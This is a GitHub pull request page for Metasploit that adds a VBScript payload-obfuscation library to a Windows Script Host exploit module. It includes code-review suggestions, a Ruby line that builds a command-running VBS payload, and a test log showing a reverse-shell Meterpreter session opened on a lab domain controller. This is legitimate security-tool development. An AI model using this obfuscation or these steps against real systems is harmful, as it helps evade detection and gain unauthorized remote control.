-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Msf::Exploit::VBSObfuscate: Add VBS obfuscation library #20568
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
lib/msf/core/exploit/vbsobfuscate.rb
Outdated
| super | ||
| register_advanced_options([ | ||
| OptInt.new('VbsObfuscate', [false, 'Number of times to obfuscate VBS', 1]), | ||
| ], Exploit::VBSObfuscate) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker; I don't think this is required anymore 🤔
| ], Exploit::VBSObfuscate) | |
| ]) |
lib/msf/core/exploit/vbsobfuscate.rb
Outdated
| obfuscate_opts = {} | ||
| obfuscate_opts.merge!(iterations: iterations) | ||
| obfuscate_opts.merge!(normalize_whitespace: normalize_whitespace) | ||
| obfuscate_opts.merge!(dynamic_execution: dynamic_execution) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker:
| obfuscate_opts = {} | |
| obfuscate_opts.merge!(iterations: iterations) | |
| obfuscate_opts.merge!(normalize_whitespace: normalize_whitespace) | |
| obfuscate_opts.merge!(dynamic_execution: dynamic_execution) | |
| obfuscate_opts = { | |
| iterations: iterations, | |
| normalize_whitespace: normalize_whitespace, | |
| dynamic_execution: dynamic_execution | |
| } |
| vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")" | ||
| if obfuscate | ||
| vbs << obfuscate_vbscript(vbs_payload) | ||
| vbs << Rex::Exploitation::VBSObfuscate.new(vbs_payload).obfuscate!.to_s |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Was this meant to use the mixin? 🤔
| vbs << Rex::Exploitation::VBSObfuscate.new(vbs_payload).obfuscate!.to_s | |
| vbs << vbs_obfuscate(vbs_payload) |
1339261 to
6351be3
Compare
6351be3 to
bbc9928
Compare
|
Pushed again to update the default behavior in line with the library default behavior (normalize white space and use dynamic execution by default). |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @bcoles 🙏
Testing
msf exploit(windows/fileformat/windows_script_host_vbscript) > set OBFUSCATE true
OBFUSCATE => true
msf exploit(windows/fileformat/windows_script_host_vbscript) > set VbsObfuscate 2
VbsObfuscate => 2
msf exploit(windows/fileformat/windows_script_host_vbscript) > set FETCH_WRITABLE_DIR C:\\Windows\\Temp
FETCH_WRITABLE_DIR => C:\Windows\Temp
msf exploit(windows/fileformat/windows_script_host_vbscript) > set DisablePayloadHandler false
DisablePayloadHandler => false
msf exploit(windows/fileformat/windows_script_host_vbscript) > set WfsDelay 1000
WfsDelay => 1000
msf exploit(windows/fileformat/windows_script_host_vbscript) > run
[*] Started reverse TCP handler on 172.16.199.130:4444
[+] msf.vbs stored at /home/msfuser/.msf4/local/msf.vbs
[*] Sending stage (203846 bytes) to 172.16.199.200
[*] Meterpreter session 1 opened (172.16.199.130:4444 -> 172.16.199.200:51285) at 2025-10-03 12:07:04 -0700
meterpreter > getuid
Server username: KERBEROS\Administrator
meterpreter > sysinfo
Computer : DC2
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : KERBEROS
Logged On Users : 5
Meterpreter : x64/windows
meterpreter > exit
[*] Shutting down session: 1
[*] 172.16.199.200 - Meterpreter session 1 closed. Reason: User exit
Setting VbsObfuscate to 6 output an 800MB payload 👍
➜ local ls -ltr
total 813060
-rw-rw-r-- 1 msfuser msfuser 832565507 Oct 3 12:47 msf.vbs
Release NotesThis adds a new library for VBS payload obfuscation and updates the windows/fileformat/windows_script_host_vbscript module to make use of the new library. |
Wires up the
Msf::Exploit::VBSObfuscatemixin interface for the newRex::Exploitation::VBSObfuscatelibrary (rapid7/rex-exploitation#47) and updates theexploit/windows/fileformat/windows_script_host_vbscriptmodule to use it.